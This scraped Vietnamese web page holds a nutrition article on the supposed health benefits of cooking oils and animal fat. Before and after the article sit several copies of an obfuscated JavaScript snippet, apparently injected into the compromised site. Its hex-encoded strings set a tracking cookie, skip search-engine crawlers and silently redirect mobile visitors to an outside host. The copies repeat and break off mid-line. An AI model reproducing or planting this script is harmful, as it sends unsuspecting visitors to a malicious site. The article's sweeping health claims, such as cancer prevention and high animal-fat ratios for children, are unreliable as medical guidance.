_0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

markdown:
Bạn đã biết hết công dụng của các loại dầu thực vật, mỡ động vật khi nấu ăn chưa?
Hôm nay chuyên gia dinh dưỡng bác sĩ chuyên khoa dinh dưỡng Hoàng Thị Thúy Hà, Trung tâm Khám & Tư vấn Dinh dưỡng – Khu vực Miền Trung sẽ chỉ ra những ưu điểm của các loại dầu thực vật và mỡ động vật mà bạn nên biết..
**Dầu mè giúp hệ tiêu hóa khỏe mạnh**
Bác sĩ Hà cho biết: “
*Dầu mè chứa nhiều chất chống oxy hóa và chất béo. Đặc biệt là chất béo không bão hòa, các axid béo omega3 và omega6, canxi, kẽm, selen, vitamin E, vitamin nhóm B, do đó phòng ngừa được nhiều bệnh….Đồng thời, dầu mè tốt cho tim mạch, giàu axit oleic có vai trò giảm cholesterol xấu LDL, làm giảm huyết áp. Nhiều canxi, kẽm, selen, magie, giúp điều hòa hoạt động các cơ ở tim, giúp cho xương luôn chắc khỏe khi về già, chống loãng xương*”.
Dầu mè chứa nhiều chất chống oxy hóa và chất béo (ảnh minh họa)
- Trong dầu mè có Các chất chống oxy hóa, các vitamin có tác dụng kháng viêm, tăng tái tạo colagen, sửa chữa những tổn thương ở da, làm khít lỗ chân lông giúp làn da mịn, rạng ngời, ngăn ngừa lão hóa giúp trẻ lâu.
- Trong dầu mè có chứa Lượng Trytophan, Magie, Canxi, vitamin nhóm B giúp sản xuất nhiều serotonin có tác dụng giảm đau, cải thiện tâm trạng và giúp ngủ sâu và ngủ ngon giấc.
- Khi sử dụng dầu mè thì hệ miễn dịch được tăng cường, hệ tiêu hóa được khỏe mạnh. Có nhiều axitfolic Trong dầu mè, giúp thai nhi trong bụng mẹ phát triển khỏe mạnh, tránh được các dị tật ống thần kinh là chất béo tốt cho phụ nữ mang thai.
**Dầu lạc ngăn ngừa các bệnh truyền nhiễm**
Trong dầu lạc có hàm lượng các chất dinh dưỡng cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể. Bác sĩ Hà chỉ ra những ưu điểm của dầu lạc“
*Dầu lạc có nhiều vitamin E, yếu tố quan trọng chống lão hóa, tổng hợp hormone sinh dục; nhiều vitamin B1 là thành phần coenzyme thiamin Pyrophosphate tham gia giải phóng năng lượng từ carbonhydrate, chất béo và rượu bia, chống thừa cân, béo phì. Ở trẻ em, dầu lạc giúp hòa tan và hấp thu các vitamin A, D, K, E. Đây là những vitamin quan trọng giúp hoàn thiện cấu trúc của các mô, đặc biệt là mô não và các hormone”*,.
Hàm lượng các chất dinh dưỡng có trong dầu lạc cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể (Ảnh: Internet)
Bên cạnh đó, bác sĩ Hà còn cho biết dầu lạc có tác dụng:
- Giảm lượng cholesterol xấu và tăng lượng cholesterol tốt, nhiều axit oleic chống lại bệnh mạch vành.
- Giảm nguy cơ sinh con dị tật ở phụ nữ mang thai:Có chứa nhiều axidfolic Trong dầu lạc . N ếu mỗi ngày Các bà mẹ mang thai bổ sung 400 microgam axidfolic sẽ giảm nguy cơ sinh con khuyết tật ống thần kinh đến 70%.
- Bảo vệ da: trong lạc chứa Lượng vitamin E có tác dụng chống oxy hóa, duy trì tính toàn vẹn của màng tế bào, màng nhầy và da khỏi các gốc tự do là nguyên nhân gây tổn hại cho da. Giữ làn da tươi sáng min màng.
- Ổn định đường huyết: Ở người bị đái tháo đường nên dùng dầu lạc, vì nó giàu Mangan, đây là khoáng vi lượng tham gia chuyển hóa chất béo và carbonhydrate, tăng hấp thụ canxi và duy trì mức đường máu luôn ổn định. ¼ chén (bát) lạc có thể cung cấp 30 -35% nhu cầu khoáng Mangan mỗi ngày.
- Hàm lượng chất chống oxy hóa Poly- phenol và Resveratrol có Trong dầu lạc cao có thể ngăn ngừa bệnh tim mạch, bệnh thần kinh, chứng mất trí, và bệnh truyền nhiễm, bệnh nấm hiệu quả.
Trong dầu lạc có Hàm lượng các chất dinh dưỡng cao, giàu protein và các vitamin thiết yếu giúp phát triển cơ thể (ảnh minh họa)
**Dầu Ô-liu ngăn ngừa lão hóa**
Theo bác sĩ Hà,chất béo không bão hòa, nhiều chất chống oxy hóa (đặc biệt là vitamin E) có trong dầu Ô- liu nhiều có công dụng phòng ngừa các bệnh tim mạch, thúc đẩy tuần hoàn máu, phòng xơ vữa động mạch, giảm đau khớp, hạ huyết áp, chống ung thư, giảm cân, trẻ hóa da, tóc, ngăn ngừa lão hóa.
Công dụng dầu Ô-liu :
- Kích thích tiết mật, tăng hấp thu chất béo vì vậy tránh viêm túi mật- sỏi mật.
- Ngăn viêm loét dạ dày do giảm vị toan.
- Kiểm soát độ nhạy Insulin giúp kiểm soát đường huyết trong đái tháo đường, cải thiện chức năng não, tăng sức đề kháng, tăng hệ miễn dịch.
- Thúc đẩy hệ xương phát triển bằng tăng cường trao đổi chất, duy trì mật độ xương, chống loãng xương (nhiều omega3, omega6 giúp hấp thụ tốt canxi, photpho và kẽm).
Dầu ô-liu có tác dụng phòng ngừa các bệnh tim mạch, thúc đẩy tuần hoàn máu, phòng xơ vữa động mạch (Ảnh minh họa)
**Dầu hướng dương giảm nguy cơ mắc các bệnh về tim**
Bác sĩ Hà chỉ rõ trong dầu hướng dương chứa vitamin có công dụng : “Hà
*m lượng vitamin E, acid phenolic và acid choline trong dầu hướng dương cao hơn bất cứ loại dầu thực vật nào rất có lợi trong việc chống ô xy hóa, trung hòa các gốc tự do ngăn ngừa ung thư, tăng cường miễn dịch, do đó có tác dụng ngừa hen và ung thư đại tràng, các bệnh về khớp. Ngoài ra, nguồn vitamin A dồi dào trong dầu hướng dương giúp ngăn ngừa bệnh đục thủy tinh thể*“.
Dầu hướng dương có tác dụng nhuận tràng, cải thiện quá trình tiêu hóa kích thích gan (Ảnh minh họa)
Mang đến nguồn năng lượng tuyệt vời cho cơ thể, Dầu hướng dương chứa đựng những dưỡng chất thiên nhiên bảo vệ sức khỏe mà ít loại dầu nào có được, giàu axít béo không no (Omega-3, 6 và 9 ), chất khoáng, chất xơ, các vitamin và đặc biệt là vitamin E.
Dầu hướng dương rất giàu axit béo chưa no, giúp duy trì tỉ lệ cholesterol máu, giàu lecithin giúp giảm lượng cholesterol xấu vì thế rất tốt cho tim mạch, có thể giúp giảm nguy cơ trụy tim và các bệnh tim mạch khác.
**Dầu đậu nành có lợi cho sức khỏe**
Một trong những loại dầu rất có lợi cho sức khỏe chính là Dầu đậu nành, đặc biệt là sức khỏe tim mạch với nhiều ưu điểm vượt trội:
Bổ sung chất béo không chứa cholesterol lý tưởng. Dầu đậu nành được chiết xuất từ hạt đậu nành chứa đạm dinh dưỡng cao và chất béo bổ dưỡng cùng nhiều sinh tố, khoáng chất. trong dầu đậu nành chứa Lượng chất béo tốt có khả năng làm giảm lượng cholesterol xấu cũng như tăng lượng cholesterol tốt. Đặc biệt, hiệu quả trong việc ổn định cholesterol trong máu, bên cạnh đó vẫn đảm bảo cung cấp đủ lượng chất béo không bão hòa cần thiết cho cơ thể.
Bổ sung đủ 3 loại a-xít béo không no: Omega -3, Omega -6 và Omega-9. Bộ 3 a-xít béo không no này rất có lợi cho sức khỏe và sự phát triền của não bộ. Đồng thời, còn có khả năng giảm lượng cholesterol, đẩy lùi bệnh tim mạch.
Dầu đậu nành cung cấp chất béo không chứa cholesterol lý tưởng (Ảnh minh họa)
- Omega-3 giúp phát triển thị lực, thần kinh và làm giảm triglycerids, một loại chất béo mà khi tăng cao sẽ đẩy nhanh nguy cơ mắc các bệnh tim mạch.
- Trong việc giảm lượng cholesterol tích tụ trong mạch máu, phòng chứng loạn nhịp tim, huyết khối và góp phần điều chỉnh huyết áp thì Omega-6 đóng vai trò quan trọng .
- Omega-9 giảm xơ cứng động mạch, tăng cường hệ miễn dịch và giúp ổn định lượng đường.
**Dầu hạt cải tốt cho tim mạch**
Bác sĩ Hà cho biết, dầu hạt cải được đánh giá là một trong những loại dầu ăn tốt nhất cho tim mạch vì có một cấu trúc axít béo hoàn hảo, rất giàu omega 3, tiền chất của DHA, chất đóng vai trò quan trọng cho sự phát triển của não bộ, võng mạc và hệ miễn dịch.
Dầu hạt cải cung cấp nguồn acid béo lành mạnh với hàm lượng nhỏ chất béo bão hòa (Ảnh minh họa)
Thường xuyên Sử dụng dầu ăn từ hạt cải sẽ tăng lượng cholesterol tốt (HDL- cholesterol) trong máu, giảm lượng cholesterol xấu (LDL – cholesterol), giảm lượng mỡ trong máu, giảm béo… là tác nguyên chính gây ra các bệnh về tim mạch như: nhồi máu cơ tim, xơ vữa động mạch, bệnh huyết áp…
Đây là lựa chọn mới cho người giảm cân phòng ngừa bệnh béo phì, phòng tránh rối loạn hấp thu chất béo ở ruột, do tác dụng đốt cháy chất béo, làm giảm sự hấp thụ chất béo vào cơ thể của dầu hạt cải.
**Mỡ động vật là nguồn sinh năng lượng quan trọng**
“
*Trong mỡ gan cá và một số động vật ở biển có nhiều vitamin A, D và axit arachdonic. Axit arachdonic là axit béo chưa no nhiều nối đôi với chức năng chống oxy hóa bảo vệ cơ thể, có nhiều vai trò đối với sự tăng trưởng của trẻ, là thành phần cấu trúc của màng tế bào, các tổ chức liên kết, tổ chức thần kinh, của võng mạc mắt, tác dụng giảm nguy cơ các bệnh tim mạch, huyết áp”, bác sĩ Hà cho biết.*
Có nhiều vai trò cần thiết cho cơ thể, Mỡ động vật là nguồn sinh năng lượng quan trọng, là dung môi tốt để hòa tan các vitamin A, D, E, K.
Trong mỡ có Các axit béo no nếu được sử dụng ở mức độ vừa phải sẽ có tác dụng làm bền vững các mao mạch máu, bảo vệ tuần hoàn của cơ thể, dự phòng tai bệnh tai biến mạch máu não và các bệnh tim mạch. Với người trưởng thành mỡ động vật còn tham gia vào quá trình hình thành và cấu trúc của các hormon sinh dục, duy trì sự mềm mại của làn da. Thiếu cholesterol có thể gây ra các bệnh lý suy giảm sinh dục.
Mỡ động vật có nhiều vai trò đối với cơ thể của trẻ (Ảnh minh họa)
Bác sĩ Hà cho biết thêm.“
*Mỡ động vật giúp cho sự phát triển sớm về trí tuệ và thể lực của trẻ em là yếu tố quan trọng đối với hệ thần kinh trung ương của trẻ. Vì vậy trong các bữa ăn hàng ngày, cần phải kết hợp sử dụng hài hoà cả dầu thực vật và mỡ động vật, đặc biệt là đối với trẻ nhỏ. Giai đoạn kiến tạo cơ thể của trẻ, tỉ số mỡ động vật/dầu thực vật là 70/30; Giai đoạn cơ thể đã trưởng thành tới lúc trung niên, tỉ số mỡ động vật/dầu thực vật là 50/50; Giai đoạn người có tuổi, cao tuổi, tỉ số mỡ động vật/dầu thực vật là 30/70*“,
Để đảm bảo vừa ngon miệng vừa giữ được chất lượng của chất béo khi xào nấu thức ăn chúng ta nên phối hợp như sau: phi một ít hành hoặc tỏi với mỡ rồi cho thực phẩm vào xào, nêm mắm muối vừa đủ, nấu chín rồi cho thêm 1-2 thìa dầu ăn trộn đều rồi bắc ra.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 